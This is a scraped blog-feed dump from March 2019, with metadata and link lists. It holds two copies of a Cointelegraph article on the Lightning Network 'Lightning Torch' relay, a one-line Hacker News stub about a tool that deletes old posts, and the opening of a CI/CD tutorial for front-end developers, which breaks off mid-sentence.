tfw</link><link>https://www.twitter.com/hashtag/Article11?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.twitter.com/hashtag/Article13?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.t.co/KChdnNY7Wj</link><link>https://www.twitter.com/GitHubPolicy/status/1108766937083834369?ref_src=twsrc^tfw</link><link>https://www.github.blog/2019-02-13-the-eu-copyright-directive-what-happens-from-here</link><link>https://www.thenextweb.com/dd/2019/03/25/inside-githubs-fight-to-protect-devs-from-eus-disastrous-copyright-reform</link><link>https://www.meneame.net/m/Artículos/como-afectara-meneame-directiva-copyright-europeo</link><link>https://www.t.co/wx2eVYu7ZW</link><link>https://www.twitter.com/dseijo/status/1110869108361449472?ref_src=twsrc^tfw</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/legislacion-y-derechos/articulo-13-sigue-vivo-francia-alemania-acuerdan-llevar-a-votacion-nueva-reforma-estricta-ley-copyright?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com//https://www.bloglenovo.es/estas-son-todas-las-muertes-que-habrias-sufrido-sin-tecnologia/?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/legislacion-y-derechos/esta-ha-sido-reaccion-grandes-companias-tecnologia-nueva-ley-copyright-ue?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/autor/lyzanor?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:DlN0cCf01-8:3QFJfmc7Om4</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:DlN0cCf01-8:I9og5sOYxJI</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:DlN0cCf01-8:qj6IDK7rITs</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:DlN0cCf01-8:ecdYMiMMAMM</link><link>http://www.bestphoneapps.mobi/?sl=116225-e20b7&amp;data1=Track1&amp;data2=Track2</link></links><tags><tag>actualidad</tag><tag>rss</tag><tag>tecnologia</tag><tag>tecnousuariostv</tag><tag>Xataka</tag></tags><images /><indexedAt>2019-03-27T18:32:20Z</indexedAt><publishedAt>2019-03-27T18:08:00Z</publishedAt><reindexedAt>2019-03-27T18:32:20Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>201283634637159085</blogId><blogName>TecnoUsuariosTv</blogName><blogUrl>http://tecnousuarioss.blogspot.com</blogUrl><blogRank>1</blogRank><authority>1</authority></post><post><id>6093626327068406010</id><author>Qu5.Wiki</author><url>https://qu5.wiki/2019/03/27/the-lightning-torch-how-the-community-united-to-teach-jack-dorsey-about-feeless-rapid-off-chain-transactions/</url><title>The Lightning Torch: How the Community United to Teach Jack Dorsey About Feeless, Rapid Off-Chain Transactions</title><text>Over the last few weeks, the Lightning Network — Bitcoin’s off-chain scaling protocol — has made waves. 
Over the last few weeks, Bitcoin’s (BTC) second-layer scaling protocol, called the Lightning Network (LN), has gained a lot of traction, steadily proving to become a viable solution to BTC’s infamous scalability problem and even potential competitor to American payments giant Visa. 
Thanks to the community-driven Twitter experiment called “the Lightning Torch,” the LN has now been co-signed by Jack Dorsey, who says that integrating the protocol on Square’s popular Cash App is a question of “when, not if.” On top of raising awareness, the social media campaign has also shown what the LN technology is ready to offer in real conditions — but also revealed some of its shortcomings. 
A brief history of the Lightning Network, an ambitious campaign to tackle Bitcoin’s scalability
The history of the protocol could be traced back to January 2016, when Joseph Poon and Thaddeus Dryja published a white paper dubbed “The Bitcoin Lightning Network: Scalable Off-Chain Instant Payments.” In it, they underpinned Bitcoin’s Achilles Heel — the scalability issue — and compared the cryptocurrency’s capacity to Visa to illustrate their point: 

“The payment network Visa achieved 47,000 peak transactions per second (tps) on its network during the 2013 holidays, and currently averages hundreds of millions per day. Currently, Bitcoin supports less than 7 transactions per second with a 1 megabyte block limit.” 

Achieving Visa-like volume on the Bitcoin network seemed barely possible, given that handling that kind of bandwidth and storage would require a great amount of computing power. However, Poon and Dryja argued, there is a way to make Bitcoin a feasible alternative to existing payment systems while keeping its signature decentralization and security — and that would be off-chain scaling. 
Enter LN, a network of off-chain payment channels, which require almost no fees and allow for fast, seamless transactions that are made on a layer above the actual blockchain. 
“With an off chain payment channel you can deposit, for instance, $100 once, and pay network fee for it, and then pay to your favorite shop as many times as you wish, without paying any transaction fees to the network, to the sum of $100,” explains Eyal Shani, a blockchain researcher at consulting group Aykesubir. He added: 
“Instead of paying a transaction and sending it to the entire network, you send an encrypted and signed ‘promise’ that you owe that other party, say, $10 out of the $100. Finally, if the paid party needs the money for another purpose, they close the channel by sending the promise to the entire network. Theoretically, you can do millions of transactions for the price of twice the network fee.” 
That way, users can conduct numerous transactions outside of the blockchain and then, when they’re done, record them as a single one, hence saving a lot of processing for the ledger. To describe how the channels work in greater detail, Shani makes an analogy with buckets of water, emphasizing one of its main shortcoming along the way: 

“When you deposit money on it, you’re filling the bucket and then when you spend it, it slowly loses that water. The bucket can also be full, as you can’t have too much water in it. Because of this, for example, once you open a LN channel, you cannot receive money right away — your bucket is full, and first you have to spend some. However, based on the fact that you want to transfer (usually) money from A to D, via the channels of B and C along the way it is a real problem to keep everyone’s channel with enough liquidity (i.e, balance) to make the transfer.” 

Although the LN has been designed specifically for Bitcoin’s blockchain, Shani adds, the concept can be performed on other blockchains — for instance, there is the Raiden network created for Ethereum (ETH). 
Moreover, as Cointelegraph reported in a more in-depth analysis of the LN, the network is also testing the so-called cross-chain atomic swaps, which are basically transfers of tokens between different blockchains. If properly implemented, this feature could allow to quickly — and with little to no fees — swap any given cryptocurrency to a different one, and hence challenge the use of cryptocurrency exchanges. 
The Lightning Torch — from a local flash mob to a powerful movement co-signed by the CEO of Twitter
The Lightning Torch, also known as LN Trust Chain, is a community-driven experiment aimed at raising awareness about the protocol and testing its robustness. 
It was launched on Jan. 19, when Twitter user and Bitcoin enthusiast Hodlonaut announced he or she was willing to pass on 100,000 Satoshis (the smallest unit of a Bitcoin) via the LN to the first person who seems reliable. That volunteer would have to add another 10,000 Satoshis and send the whole amount to another person willing to participate, and so on. 
The process somewhat resembles the Olympic torch relay, hence the name “the Lightning Torch.” Eventually, the hashtag #LNTrustChain began circulating to ease communication among community members involved in the experiment, giving the movement an additional boost on social media. 
“The experiment got traction pretty fast among my little twitter bubble. First 100 passes took less than a week.” Hodlonaut tells Cointelegraph over Twitter DMs. “I think busiest day may actually have been the first day, January 19, with more than 20 passes. The pace of passing has decreased with time, mainly because people are trying to make passes to specific people instead of just sending to one of the invoices sent to them on twitter.” 
As of press time, the torch has been carried by more than 240 people in 52 different countries. The list of participants includes, among others, a 88-year-old grandmother of a crypto enthusiast, Twitter CEO Jack Dorsey, financial derivatives giant Fidelity Investments, LinkedIn co-founder and former PayPal Chief Operating Officer Reid Hoffman and Monero (XMR) Core developer Riccardo Spagni, who passed the torch while inflight. 
“I was excited about LN, and wanted to have some fun/experiment with it.” Hodlonaut recalls. “I was curious to see how far something like that could go. Didn’t expect it to last very long or get much attention… So the @jack thing was pretty mindblowing” 
Initially, Hodlonaut says, his or her goal was to simply spread awareness about the LN and its potential use. He or she has been interested in the protocol since the testnet days, but it was in September 2018 when Hodlonaut finally set up their own node using RaspiBlitz’s instructions. Hodlonaut continued: 
“Why I got interested is because the instant nature is so fascinating. To be able to send fractions of bitcoin instantly like this was mind blowing in the same way my first transactions on-chain after discovering Bitcoin in 2013.” 
Even though the LN community has appeared overall trustful and cooperative, there have been a few bumps in the road. Early on, when the torch had amassed around 250,000 Satoshis, it was hijacked by an umbrageous user. 
“I thought it was the end, but on his own initiative the guy who sent to the thief, resent to a new person out of his own pocket to keep the torch alive,” the movement’s founder says. 
Then, around 2.5 million Satoshis, the torch fell into the hands of a reluctant person who declared he wasn’t going to pass it on. 
“He was hostile to the experiment, calling it a stupid circlejerk. But once again, the guy who sent it to him, resent to a new person out of his own pocket,” Hodlonaut says, summarizing at some point: 

“Turns out, this community is pretty awesome.” 

Foreseeable future: donations to Bitcoin Venezuela, negotiations with major United States retailer who has dropped Visa
Now that the movement is rapidly growing, a more concrete milestone has been set up. “The goal is to get to the Lightning Network tx cap at 4.29 Msats,” Hodlonaut says. “The torch is then donated to @btcven [Bitcoin Venezuela] along with the funds from this fundraiser.” 
Bitcoin Venezuela was chosen because of the local economic hardship, Hodlonaut explains. Indeed, Venezuela’s economy has reportedly fallen by 47 percent since the end of 2013, as the bolivar, the local sovereign currency, have been drastically inflating under the politics of Nicolas Maduro, the country’s president. As a result, the local people have largely turned to Bitcoin, which, due to its decentralized nature, appeared as a means to bypass the unstable fiat currency — last month, BTC trading volumes in Venezuela reached a new all-time high. 
“They [Bitcoin Venezuela] have a long track record of spreading bitcoin adoption, feeding people and trying to put infrastructure like mesh networks in place,” the movement’s founder says. 
Meanwhile, despite still being in its infant stage, the LN is picking up the pace. Although it is still unclear whether the protocol will ever be able to dethrone Visa, there are promising signs. Earlier this month, major U.S. retailer Kroger announced that its Smith’s Food &amp; Drug stores will not accept Visa cards starting April 3, citing the high fees that company imposes on large retailers. “Visa has been misusing its position and charging retailers excessive fees for a long time,” Kroger’s Chief Financial Officer Mike Schlotman said. 
In response, Anthony Pompliano, founder of Morgan Creek Capital — an institutional investment house with $1.5 billion in assets under management — suggested that Kroger should deploy the Lightning Network in its stores. According to one of his tweets, the negotiations have already started. 
 
Source: Cointelegraph</text><languageCode>en</languageCode><locationCode>pl</locationCode><coordinates /><links><link>https://www.cointelegraph.com/tags/bitcoin</link><link>https://www.cointelegraph.com/tags/scalability</link><link>https://www.cointelegraph.com/tags/lightning-network</link><link>https://www.cointelegraph.com/explained/blockchains-scaling-problem-explained</link><link>https://www.cointelegraph.com/tags/usa</link><link>https://www.cointelegraph.com/tags/visa</link><link>https://www.cointelegraph.com/tags/twitter</link><link>https://www.cointelegraph.com/news/jack-dorsey-says-cash-app-support-for-lightning-network-a-question-of-when-not-if</link><link>https://lightning.network/lightning-network-paper.pdf</link><link>https://www.cointelegraph.com/lightning-network-101/altcoins-with-lightning-network-support</link><link>https://www.cointelegraph.com/news/raiden-project-sets-milestone-for-ethereums-scaling-solution</link><link>https://www.cointelegraph.com/tags/ethereum</link><link>https://www.cointelegraph.com/lightning-network-101/what-is-lightning-network-and-how-it-works#how-does-it-work</link><link>https://www.cointelegraph.com/tags/cryptocurrency-exchanges</link><link>https://www.twitter.com/hodlonaut/status/1086703428791865345</link><link>https://www.twitter.com/hashtag/lntrustchain</link><link>https://www.twitter.com/Ibelite/status/1097692828812099584</link><link>https://www.cointelegraph.com/news/derivatives-giant-fidelity-investments-receives-and-passes-on-the-lightning-torch</link><link>https://www.cointelegraph.com/tags/linkedin</link><link>https://www.cointelegraph.com/tags/paypal</link><link>https://www.cointelegraph.com/news/ex-paypal-coo-hails-bitcoin-acceleration-as-he-joins-lightning-torch-relay</link><link>https://www.cointelegraph.com/tags/monero</link><link>https://www.twitter.com/fluffypony/status/1094044282724462592</link><link>https://www.github.com/rootzoll/raspiblitz</link><link>https://www.tallyco.in/s/thz6f7</link><link>https://www.cointelegraph.com/tags/venezuela</link><link>https://www.washingtonpost.com/business/2019/02/01/venezuela-is-biggest-economic-disaster-modern-history/?noredirect=on&amp;utm_term=.b90f2efde1dd</link><link>https://www.cointelegraph.com/tags/maduro</link><link>https://www.cointelegraph.com/news/venezuela-on-fire-how-maduros-petro-plan-failed-to-bail-out-the-country</link><link>https://www.cointelegraph.com/news/bitcoin-trading-reaches-all-time-high-in-venezuela-amidst-ongoing-economic-collapse</link><link>https://www.marketwatch.com/story/krogers-smiths-stores-to-stop-accepting-visa-credit-cards-citing-excessive-fees-2019-03-01</link><link>https://www.cointelegraph.com/news/major-us-retailer-kroger-drops-visa-morgan-creek-digital-suggests-lightning-network</link><link>https://www.twitter.com/APompliano/status/1102273796046798850</link></links><tags><tag>Uncategorized</tag></tags><images /><indexedAt>2019-03-27T18:40:28Z</indexedAt><publishedAt>2019-03-27T18:08:00Z</publishedAt><reindexedAt>2019-03-27T18:40:28Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>15829924672783048074</blogId><blogName>Qu5.Wiki</blogName><blogUrl>https://qu5.wiki</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>16572019690369520986</id><author>Stephen O'Neal</author><url>https://bytebuzz.blog/2019/03/27/the-lightning-torch-how-the-community-united-to-teach-jack-dorsey-about-feeless-rapid-off-chain-transactions/</url><title>The Lightning Torch: How the Community United to Teach Jack Dorsey About Feeless, Rapid Off-Chain Transactions</title><text>Over the last few weeks, the Lightning Network — Bitcoin’s off-chain scaling protocol — has made waves. 
                    
Over the last few weeks, Bitcoin’s (BTC) second-layer scaling protocol, called the Lightning Network (LN), has gained a lot of traction, steadily proving to become a viable solution to BTC’s infamous scalability problem and even potential competitor to American payments giant Visa. 
Thanks to the community-driven Twitter experiment called “the Lightning Torch,” the LN has now been co-signed by Jack Dorsey, who says that integrating the protocol on Square’s popular Cash App is a question of “when, not if.” On top of raising awareness, the social media campaign has also shown what the LN technology is ready to offer in real conditions — but also revealed some of its shortcomings. 
A brief history of the Lightning Network, an ambitious campaign to tackle Bitcoin’s scalability
The history of the protocol could be traced back to January 2016, when Joseph Poon and Thaddeus Dryja published a white paper dubbed “The Bitcoin Lightning Network: Scalable Off-Chain Instant Payments.” In it, they underpinned Bitcoin’s Achilles Heel — the scalability issue — and compared the cryptocurrency’s capacity to Visa to illustrate their point: 
“The payment network Visa achieved 47,000 peak transactions per second (tps) on its network during the 2013 holidays, and currently averages hundreds of millions per day. Currently, Bitcoin supports less than 7 transactions per second with a 1 megabyte block limit.” 
Achieving Visa-like volume on the Bitcoin network seemed barely possible, given that handling that kind of bandwidth and storage would require a great amount of computing power. However, Poon and Dryja argued, there is a way to make Bitcoin a feasible alternative to existing payment systems while keeping its signature decentralization and security — and that would be off-chain scaling. 
Enter LN, a network of off-chain payment channels, which require almost no fees and allow for fast, seamless transactions that are made on a layer above the actual blockchain. 
“With an off chain payment channel you can deposit, for instance, $100 once, and pay network fee for it, and then pay to your favorite shop as many times as you wish, without paying any transaction fees to the network, to the sum of $100,” explains Eyal Shani, a blockchain researcher at consulting group Aykesubir. He added: 
“Instead of paying a transaction and sending it to the entire network, you send an encrypted and signed ‘promise’ that you owe that other party, say, $10 out of the $100. Finally, if the paid party needs the money for another purpose, they close the channel by sending the promise to the entire network. Theoretically, you can do millions of transactions for the price of twice the network fee.” 
That way, users can conduct numerous transactions outside of the blockchain and then, when they’re done, record them as a single one, hence saving a lot of processing for the ledger. To describe how the channels work in greater detail, Shani makes an analogy with buckets of water, emphasizing one of its main shortcoming along the way: 
“When you deposit money on it, you're filling the bucket and then when you spend it, it slowly loses that water. The bucket can also be full, as you can't have too much water in it. Because of this, for example, once you open a LN channel, you cannot receive money right away — your bucket is full, and first you have to spend some. However, based on the fact that you want to transfer (usually) money from A to D, via the channels of B and C along the way it is a real problem to keep everyone’s channel with enough liquidity (i.e, balance) to make the transfer.” 
Although the LN has been designed specifically for Bitcoin’s blockchain, Shani adds, the concept can be performed on other blockchains — for instance, there is the Raiden network created for Ethereum (ETH). 
Moreover, as Cointelegraph reported in a more in-depth analysis of the LN, the network is also testing the so-called cross-chain atomic swaps, which are basically transfers of tokens between different blockchains. If properly implemented, this feature could allow to quickly — and with little to no fees — swap any given cryptocurrency to a different one, and hence challenge the use of cryptocurrency exchanges. 
The Lightning Torch — from a local flash mob to a powerful movement co-signed by the CEO of Twitter
The Lightning Torch, also known as LN Trust Chain, is a community-driven experiment aimed at raising awareness about the protocol and testing its robustness. 
It was launched on Jan. 19, when Twitter user and Bitcoin enthusiast Hodlonaut announced he or she was willing to pass on 100,000 Satoshis (the smallest unit of a Bitcoin) via the LN to the first person who seems reliable. That volunteer would have to add another 10,000 Satoshis and send the whole amount to another person willing to participate, and so on. 
The process somewhat resembles the Olympic torch relay, hence the name “the Lightning Torch.” Eventually, the hashtag #LNTrustChain began circulating to ease communication among community members involved in the experiment, giving the movement an additional boost on social media. 
“The experiment got traction pretty fast among my little twitter bubble. First 100 passes took less than a week.” Hodlonaut tells Cointelegraph over Twitter DMs. “I think busiest day may actually have been the first day, January 19, with more than 20 passes. The pace of passing has decreased with time, mainly because people are trying to make passes to specific people instead of just sending to one of the invoices sent to them on twitter.” 
As of press time, the torch has been carried by more than 240 people in 52 different countries. The list of participants includes, among others, a 88-year-old grandmother of a crypto enthusiast, Twitter CEO Jack Dorsey, financial derivatives giant Fidelity Investments, LinkedIn co-founder and former PayPal Chief Operating Officer Reid Hoffman and Monero (XMR) Core developer Riccardo Spagni, who passed the torch while inflight. 
“I was excited about LN, and wanted to have some fun/experiment with it.” Hodlonaut recalls. “I was curious to see how far something like that could go. Didn't expect it to last very long or get much attention… So the @jack thing was pretty mindblowing” 
Initially, Hodlonaut says, his or her goal was to simply spread awareness about the LN and its potential use. He or she has been interested in the protocol since the testnet days, but it was in September 2018 when Hodlonaut finally set up their own node using RaspiBlitz’s instructions. Hodlonaut continued: 
“Why I got interested is because the instant nature is so fascinating. To be able to send fractions of bitcoin instantly like this was mind blowing in the same way my first transactions on-chain after discovering Bitcoin in 2013.” 
Even though the LN community has appeared overall trustful and cooperative, there have been a few bumps in the road. Early on, when the torch had amassed around 250,000 Satoshis, it was hijacked by an umbrageous user. 
“I thought it was the end, but on his own initiative the guy who sent to the thief, resent to a new person out of his own pocket to keep the torch alive,” the movement’s founder says. 
Then, around 2.5 million Satoshis, the torch fell into the hands of a reluctant person who declared he wasn't going to pass it on. 
“He was hostile to the experiment, calling it a stupid circlejerk. But once again, the guy who sent it to him, resent to a new person out of his own pocket,” Hodlonaut says, summarizing at some point: 
“Turns out, this community is pretty awesome.” 
Foreseeable future: donations to Bitcoin Venezuela, negotiations with major United States retailer who has dropped Visa
Now that the movement is rapidly growing, a more concrete milestone has been set up. “The goal is to get to the Lightning Network tx cap at 4.29 Msats,” Hodlonaut says. “The torch is then donated to @btcven [Bitcoin Venezuela] along with the funds from this fundraiser.” 
Bitcoin Venezuela was chosen because of the local economic hardship, Hodlonaut explains. Indeed, Venezuela’s economy has reportedly fallen by 47 percent since the end of 2013, as the bolivar, the local sovereign currency, have been drastically inflating under the politics of Nicolas Maduro, the country’s president. As a result, the local people have largely turned to Bitcoin, which, due to its decentralized nature, appeared as a means to bypass the unstable fiat currency — last month, BTC trading volumes in Venezuela reached a new all-time high. 
“They [Bitcoin Venezuela] have a long track record of spreading bitcoin adoption, feeding people and trying to put infrastructure like mesh networks in place,” the movement’s founder says. 
Meanwhile, despite still being in its infant stage, the LN is picking up the pace. Although it is still unclear whether the protocol will ever be able to dethrone Visa, there are promising signs. Earlier this month, major U.S. retailer Kroger announced that its Smith's Food &amp; Drug stores will not accept Visa cards starting April 3, citing the high fees that company imposes on large retailers. "Visa has been misusing its position and charging retailers excessive fees for a long time," Kroger's Chief Financial Officer Mike Schlotman said. 
In response, Anthony Pompliano, founder of Morgan Creek Capital — an institutional investment house with $1.5 billion in assets under management — suggested that Kroger should deploy the Lightning Network in its stores. According to one of his tweets, the negotiations have already started.</text><languageCode>en</languageCode><locationCode>jp</locationCode><coordinates /><links><link>https://www.cointelegraph.com/tags/bitcoin</link><link>https://www.cointelegraph.com/tags/scalability</link><link>https://www.cointelegraph.com/tags/lightning-network</link><link>https://www.cointelegraph.com/explained/blockchains-scaling-problem-explained</link><link>https://www.cointelegraph.com/tags/usa</link><link>https://www.cointelegraph.com/tags/visa</link><link>https://www.cointelegraph.com/tags/twitter</link><link>https://www.cointelegraph.com/news/jack-dorsey-says-cash-app-support-for-lightning-network-a-question-of-when-not-if</link><link>https://lightning.network/lightning-network-paper.pdf</link><link>https://www.cointelegraph.com/lightning-network-101/altcoins-with-lightning-network-support</link><link>https://www.cointelegraph.com/news/raiden-project-sets-milestone-for-ethereums-scaling-solution</link><link>https://www.cointelegraph.com/tags/ethereum</link><link>https://www.cointelegraph.com/lightning-network-101/what-is-lightning-network-and-how-it-works#how-does-it-work</link><link>https://www.cointelegraph.com/tags/cryptocurrency-exchanges</link><link>https://www.twitter.com/hodlonaut/status/1086703428791865345</link><link>https://www.twitter.com/hashtag/lntrustchain</link><link>https://www.twitter.com/Ibelite/status/1097692828812099584</link><link>https://www.cointelegraph.com/news/derivatives-giant-fidelity-investments-receives-and-passes-on-the-lightning-torch</link><link>https://www.cointelegraph.com/tags/linkedin</link><link>https://www.cointelegraph.com/tags/paypal</link><link>https://www.cointelegraph.com/news/ex-paypal-coo-hails-bitcoin-acceleration-as-he-joins-lightning-torch-relay</link><link>https://www.cointelegraph.com/tags/monero</link><link>https://www.twitter.com/fluffypony/status/1094044282724462592</link><link>https://www.github.com/rootzoll/raspiblitz</link><link>https://www.tallyco.in/s/thz6f7</link><link>https://www.cointelegraph.com/tags/venezuela</link><link>https://www.washingtonpost.com/business/2019/02/01/venezuela-is-biggest-economic-disaster-modern-history/?noredirect=on&amp;utm_term=.b90f2efde1dd</link><link>https://www.cointelegraph.com/tags/maduro</link><link>https://www.cointelegraph.com/news/venezuela-on-fire-how-maduros-petro-plan-failed-to-bail-out-the-country</link><link>https://www.cointelegraph.com/news/bitcoin-trading-reaches-all-time-high-in-venezuela-amidst-ongoing-economic-collapse</link><link>https://www.marketwatch.com/story/krogers-smiths-stores-to-stop-accepting-visa-credit-cards-citing-excessive-fees-2019-03-01</link><link>https://www.cointelegraph.com/news/major-us-retailer-kroger-drops-visa-morgan-creek-digital-suggests-lightning-network</link><link>https://www.twitter.com/APompliano/status/1102273796046798850</link></links><tags><tag>Bitcoin</tag><tag>Community</tag><tag>Lightning Network</tag><tag>Scalability</tag><tag>Twitter</tag></tags><images /><indexedAt>2019-03-27T18:44:57Z</indexedAt><publishedAt>2019-03-27T18:08:00Z</publishedAt><reindexedAt>2019-03-27T18:44:57Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>6465205834254302250</blogId><blogName>Bytebuzz</blogName><blogUrl>https://bytebuzz.blog</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>16638685744500938731</id><author>Rizwan Ahmed Shivalli</author><url>https://techlatestnews3.blogspot.com/2019/03/new-show-hacker-news-story-show-hn_974.html</url><title>New Show Hacker News story: Show HN: SocialAmnesia-An open source tool that auto-erases old Reddits/tweets</title><text>Show HN: SocialAmnesia-An open source tool that auto-erases old Reddits/tweets 2 by NickGott | 1 comments on Hacker News.</text><languageCode>en</languageCode><locationCode>kr</locationCode><coordinates /><links><link>https://www.github.com/Nick-Gottschlich/Social-Amnesia</link><link>https://news.ycombinator.com/item?id=19503745</link></links><tags><tag>Hacker News</tag></tags><images /><indexedAt>2019-03-27T18:20:15Z</indexedAt><publishedAt>2019-03-27T18:04:00Z</publishedAt><reindexedAt>2019-03-27T18:20:15Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>2429168875849863859</blogId><blogName>Technology News</blogName><blogUrl>https://techlatestnews3.blogspot.com/</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>13805630950724153802</id><author>Hubert Zub</author><url>https://blog.logrocket.com/from-front-end-developer-to-a-devops-an-intro-to-ci-cd-7a8a8713fb34?source=rss----7f3d96429888---4</url><title>From front-end developer to a DevOps: An intro to CI/CD</title><text>Introduction2019 is a truly amazing time for all aspiring front-end developers. There’s plenty of educational materials, courses, and tutorials. Every day, endless blog posts and articles sprout like mushrooms after rain. Anyone who wants to become a homegrown pro has access to everything they need — usually for free. Many people took this opportunity and successfully taught themselves the quirky craft of front-end development. A lot of them had a chance to work on full-scale projects, then quickly began writing features, fixing bugs, and architecting their code in a proper way. After some time, the lucky ones had a chance to see their own features in live, deployed code somewhere on the internet as a web app, portal, or just a regular website — a truly glorious moment, especially for junior front-end devs. Surprisingly, few of them raise a very important question: We developers create the app, but what magic puts it on the internet? Common thinking is that it’s also done by developers, just more “senior” ones. Some of you might hear of DevOps, operators, cloud managers, sysadmins, and other whatnots living closer to some magic realm than the mortal plane. Well, that’s true — to some extent. Everything that happens after coding and successful testing is often associated with the dark arts of scripts, Linux commands, and container-ish black magic. And there is an unwritten law that only the most experienced and trusted developers/admins in a given organization are responsible for successful delivery finalization. Should it be this way? It certainly makes sense — after all, it’s a complicated and largely critical task. But does that mean it’s a knowledge reserved only to some elite caste? Absolutely not. As front-end developers, we could blissfully ignore this aspect and go on believing everything will be done by other magicians — but we shouldn’t. Competencies in the IT world are changing at a great pace, and soon, knowledge about every stack element will make you more valuable as a developer, regardless of whether you’re on the front end or the back end. If you want to progress faster with your development career and stand out among your peers, you’re going to need this knowledge sooner or later. Let me convince you why. Why all developers should try to automate their workAs we’ve already touched upon, writing code is just one piece in the grand scheme of software production. Let’s try to list the steps needed to ship any product — not necessarily software: What we’ll discuss here isn’t strictly related to the coding itself; what we’re trying to focus on is what happens after the main development phase. Why is it important? Because it can be complicated — and the more serious the solution is, the more sophisticated this part will be. Imagine a web-based application with a certain number of features. Let’s assume the version release cycle is designed in a way that the app will be deployed to the web periodically, one feature after another. We can consider a precondition that every functionality is tested before shipment to the production. The thing is, we probably won’t employ just one programmer to do the job; features will be coded by a team. Those assumptions also imply that — apart from every developer’s local environment for coding and the final, stable environment for production — it’d be good to have a “staging” server to push the features into. Here, it’s possible for testers/clients to assess their quality before putting them into production. Now we’re getting closer to a schema like this: As you can see, things are getting complicated quickly (and believe me, we’re talking about a pretty simple example here). But we’re not here to cover the subject of product management lifecycle. Let’s focus on the technical aspect. Assume that a front-end developer needs a few minutes to build an app. If we care about the code quality, they will need to run linting, unit tests, integration tests, and possibly other checks before marking their part as complete. This takes time. Finally, putting the completed bundle on the server takes another couple minutes. And if we’re talking about assigning one programmer all those tasks, remember that we didn’t even consider the time required for switching their context (e.g., change code branch, refocus their work, etc.). Now, who wants to take care of manually deploying every single feature? What if there are three new features tested every day? What if there are 15? Depending on the scale, it could certainly take more than one full-time employee just to handle the tasks described above. That’s why we should apply the same principle here that gave birth to the whole idea of computing: we should get a machine to do it for us. Benefits of continuous integration and continuous deploymentBefore we talk about specific software solutions that will build, test, and deploy our code for us, let’s become familiar with two terms that describe this process. You’ve probably already heard of them: (N.B., often, the CD part stands for Continuous Delivery, which is a slightly different concept we won’t cover in this post. This confusion-prone abbreviation is often a foundation for many academic discussions. There is a great article from Atlassian that explains the differences.)Why are there two separate phrases, and what do they even mean? Don’t worry — to avoid confusion, let’s clear this one out and describe the general idea behind both. The continuous integration part of CI/CD is an idea that covers repeated testing of our app’s integrity. From a technical point of view, it means we need to constantly perform linting, run unit/E2E tests, check preliminary code quality, etc. And by continuously, it means this must be done during new code pushes — which implies it should be done automatically. For example, the CI process can define a batch of unit tests that will run with the code as part of the pull request. In this scenario, every time new code attempts to appear on, e.g., the develop branch, some machine checks whether it meets the standards and contains no errors. The continuous deployment piece of CI/CD usually covers everything related to the process of building and moving the application to the usable environment — also automatically. For example, it can fetch our app’s code from the designated branch (e.g., master), build it using the proper tools (e.g., webpack), and deploy it to the right environment (e.g., the hosting service). It’s not strictly limited to production environments; for instance, we could set up a pipeline that will build a “staging” version of an app and push it in the proper hosting slot for testing purposes. Those two terms are separate concepts with different origins in software management lifecycle theory, but in practice, they’re often complementary processes living in one large pipeline. Why are they so closely related? Often, parts of CI and CD can overlap. For instance, we could have a project in which both E2E tests and deployment need to build the front-end code with webpack. Still, in most “serious” production projects, there is a number of both CI and CD processes. Now let’s go back to our imaginary project with numerous features. Where can CI/CD help here? (I know that the more we get into the subject, the more complicated those flowcharts get — but hey, at least you can act cool while using the whiteboard during project meetings!)Now think of what can we derive from the flow above. Let’s look at it from a cause and effect point of view. It’s possible to extract particular scenarios that form our hypothetical workflow. For instance: When a developer tries to push his code to the common codebase, then a set of unit tests need to pass.This way, we have something with a clear beginning and an action — something we could automate by using scripts or some other machinery. In your future adventures with CI/CD, you can name those scenarios pipelines. Note the bolded words above: when and then. Every reaction first needs an action. In order to run a particular pipeline, we need some kind of kickstart — or a trigger — to be initiated. These could be: A timer trigger (“Build a staging version of the app everyday at 6:00 p.m.”)A code repository trigger (“Run unit tests every time a new pull request has been published.”)A manual trigger (“Project manager starts the app building process and deploys to production.”)It’s possible to invoke particular pipelines from other ones as well, especially when we need to integrate a complex application consisting of many subparts that are being built separately. Alright, we have pretty much covered the theory. Now let’s talk about the software that was designed to do all that dirty work for us. Software used in CI/CD processesOn a basic level, every piece of CI/CD software is essentially just some kind of task runner that runs jobs when some action is triggered. Our role here is to configure it by feeding it the right information on what job needs to be done and when. Despite this basic description, CI/CD software comes in many shapes, sizes, and flavors — and some of them can be so sophisticated that they need hundreds of manual pages. Anyway, don’t be frightened: before the end of this article, you will become familiar with one of them. For starters, we can break CI/CD software into two categories: Installable software: apps or services you can install on your computer or some remote machine (e.g., Jenkins, TeamCity)SaaS: apps or services with a web interface provided by an external company (e.g., CircleCI, Azure DevOps)It’s hard to discuss explicit advantages of either of these; as is often the case with this topic, it comes down to the app’s requirements, the organization’s budget and policies, and other factors. It’s worth mentioning that a few of the popular repository providers (e.g., BitBucket) maintain their own CI/CD web services that are tied closely to their source code control systems, which is intended to ease the configuration process. Also, some cloud-hosted CI/CD services are free and open to the public — as long as the application is open source. One popular example of a service with a free tier is CircleCI. We’re going to take advantage of this and configure a fully functional CI/CD pipeline for our example front-end application — in just a few steps! Prerequisites and the planCircleCI is a cloud-based CI/CD service capable of integrating with GitHub, from which it can easily fetch source code. There is an interesting principle represented in this service: pipelines are defined from inside the source code. This means all 